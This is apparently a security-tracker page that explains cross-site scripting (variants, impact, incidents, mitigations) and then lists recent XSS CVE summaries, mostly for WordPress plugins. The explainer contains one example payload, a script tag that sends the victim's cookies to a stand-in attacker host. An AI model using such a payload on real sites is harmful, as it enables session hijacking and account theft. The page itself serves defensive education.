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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40710)

EPSS 2% CVSS 6.1
MEDIUM This Month

The Infility Global plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘set_type’ parameter in all versions up to, and including, 2.9.8 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Infility Global +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM This Month

The Simple Video Management System plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'analytics_video' parameter in all versions up to, and including, 1.0.4 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

The WooCommerce HSS Extension for Streaming Video plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘videolink’ parameter in all versions up to, and including, 3.31 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The Toggles Shortcode and Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘content’ parameter in all versions up to, and including, 1.14 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The GDY Modular Content plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The SEO Keywords plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘google_error’ parameter in all versions up to, and including, 1.1.3 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Woo Ukrposhta plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'order', 'post', and 'idd' parameters in all versions up to, and including, 1.17.11 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The PayGreen Payment Gateway plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'message_id' parameter in all versions up to, and including, 1.0.26 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Financial Stocks & Crypto Market Data Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'e' parameter in all versions up to, and including, 1.10.3 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Image Magnify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'image_magnify' shortcode in all versions up to, and including, 1.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP - Bulk SMS - by SMS.to plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0.12 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The CC Canadian Mortgage Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cc-mortgage-canada' shortcode in all versions up to, and including, 2.1.0 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Common Ninja: Fully Customizable & Perfectly Responsive Free Widgets for WordPress Websites plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'commonninja'. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Bizapp for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'error' parameter in all versions up to, and including, 2.0.8 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Automate Hub Free by Sperse.IO plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.7.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WC1C plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 0.23.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Same but Different - Related Posts by Taxonomy plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The PIXNET Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gtm' and 'venue' parameters in all versions up to, and including, 2.9.10 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Horoscope And Tarot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'divine_horoscope' shortcode in all versions up to, and including, 1.3.0 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Sellsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'testSellsy' shortcode in all versions up to, and including, 2.3.3 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Youtube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WordPress Survey & Poll - Quiz, Survey and Poll Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsurveypoll_results' shortcode in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.5
MEDIUM This Month

The The Design for Contact Form 7 Style WordPress Plugin - CF7 WOW Styler plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS RCE +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The ARS Affiliate Page Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'utm_keyword' parameter in all versions up to, and including, 2.0.2 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Formaloo Form Maker & Customer Analytics for WordPress & WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘address’ parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slider Pro Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sliderpro' shortcode in all versions up to, and including, 1.4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Sell Media plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sell_media_search_form_gutenberg' shortcode in all versions up to, and including, 2.5.8.5 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Plane is an open-source project management tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Plane
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

The edit profile function of Grocy through 4.3.0 allows stored XSS and resultant privilege escalation by uploading a crafted HTML or SVG file, a different issue than CVE-2024-8370. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Privilege Escalation Grocy +1
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the component /media/test.html of REDAXO CMS v5.17.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redaxo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Grav v1.7.45 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Grav Getgrav
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected Cross-Site Scripting (XSS) vulnerability exists in the login page of IceHRM v32.4.0.OS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 3.1
LOW Monitor

IBM UrbanCode Deploy (UCD) 7.2 through 7.2.3.13, 7.3 through 7.3.2.8, and IBM DevOps Deploy 8.0 through 8.0.1.3 are vulnerable to HTML injection. Rated low severity (CVSS 3.1), this vulnerability is remotely exploitable. No vendor patch available.

XSS Information Disclosure IBM +2
NVD
EPSS 0% CVSS 8.6
HIGH PATCH This Month

TabberNeue is a MediaWiki extension that allows the wiki to create tabs. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Open Redirect vulnerability in Pnetlab 5.3.11 allows an attacker to manipulate URLs to redirect users to arbitrary external websites via a crafted script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Redirect Pnetlab
NVD GitHub
EPSS 0% CVSS 4.1
MEDIUM POC This Month

Cross-Site Scripting (XSS) vulnerability in Pnetlab 5.3.11 allows an attacker to inject malicious scripts into a web page, which are executed in the context of the victim's browser. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pnetlab
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Sterling B2b Integrator
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Icegram Engage WordPress plugin before 3.1.32 does not sanitise and escape some of its Campaign settings, which could allow authors and above to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Icegram Engage +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Pods WordPress plugin before 3.2.8.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Pods +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The tourmaster WordPress plugin before 5.3.4 does not sanitise and escape some parameters when outputting them in the page, which could allow unauthenticated users to perform Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tour Master +1
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in ZeroWdd studentmanager 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Java Studentmanager +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in ZeroWdd studentmanager 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Studentmanager +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability has been found in code-projects Local Storage Todo App 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Local Storage Todo App Code Projects
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in osuuu LightPicture up to 1.2.2. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Lightpicture +1
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in Trimble SPS851 488.01. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.3. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in wangl1989 mysiteforme 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Java Mysiteforme +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in Emlog Pro 2.4.3 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in Trimble SPS851 488.01. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in Emlog Pro up to 2.4.3. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Multi Store Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Multi Store Locator +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Turnkey bbPress by WeaverTheme plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘_wpnonce’ parameter in all versions up to, and including, 1.6.3 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Taskbuilder - WordPress Project & Task Management plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wppm_tasks shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Taskbuilder
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP Smart Import : Import any XML File to WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘ page’ parameter in all versions up to, and including, 1.1.2 due. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP Compress - Instant Performance & Speed Optimization plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘custom_server’ parameter in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wp Compress +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Media Library Assistant plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘smc_settings_tab', 'unattachfixit-action', and 'woofixit-action’ parameters in all versions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Media Library Assistant +2
NVD
EPSS 1% CVSS 5.7
MEDIUM This Month

An issue was discovered in Optimizely EPiServer.CMS.Core before 12.22.0. Rated medium severity (CVSS 5.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Optimizely Cms Optimizely
NVD
EPSS 0% CVSS 4.6
MEDIUM Monitor

An issue was discovered in Optimizely Configured Commerce before 5.2.2408. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Configured Commerce Optimizely
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH Monitor

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH Monitor

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH Monitor

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Trix is a what-you-see-is-what-you-get rich text editor for everyday writing. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 8.3
HIGH POC PATCH This Week

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 1% CVSS 8.3
HIGH POC PATCH This Week

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 1% CVSS 8.3
HIGH POC PATCH This Week

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 1% CVSS 8.3
HIGH POC PATCH This Week

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Phpspreadsheet +1
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in code-projects Online Shop 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Shop +1
NVD GitHub VulDB
EPSS 5% CVSS 4.7
MEDIUM This Month

Cross Site Scripting vulnerability in Audiocodes MP-202b v.4.4.3 allows a remote attacker to escalate privileges via the login page of the web interface. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.2
MEDIUM POC This Month

phpMyFAQ is an open source FAQ web application. Rated medium severity (CVSS 5.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Denial Of Service Phpmyfaq
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Stored cross-site scripting (XSS) vulnerability due to missing origin validation in postMessage. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Windows Microsoft +2
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

Kentico CMS in version 7 is vulnerable to a Reflected XSS attacks through manipulation of a specific GET request parameter sent to /CMSMessages/AccessDenied.aspx endpoint. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Hait Post Grid Elementor Addon allows Stored XSS.0.18. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CoolPlugins Coins MarketCap allows DOM-Based XSS.5.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Markyis Cool Olivia allows Reflected XSS.9.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Theme
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ConvertCalculator ConvertCalculator for WordPress allows Stored XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fla-shop.com Interactive UK Map allows Stored XSS.4.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GS Plugins GS Shots for Dribbble allows DOM-Based XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GS Plugins GS Coaches allows Stored XSS.1.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GS Plugins Project Showcase allows Stored XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in StorePlugin ShopElement allows Stored XSS.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AyeCode - WP Business Directory Plugins GeoDirectory allows Stored XSS.3.84. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Geodirectory +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPBlockArt Magazine Blocks allows Stored XSS.3.20. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in moveaddons Move Addons for Elementor allows Stored XSS.3.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Move Addons For Elementor +3
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeLooks Enter Addons allows Stored XSS.1.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Enter Addons +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH Nexter Blocks allows DOM-Based XSS.0.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

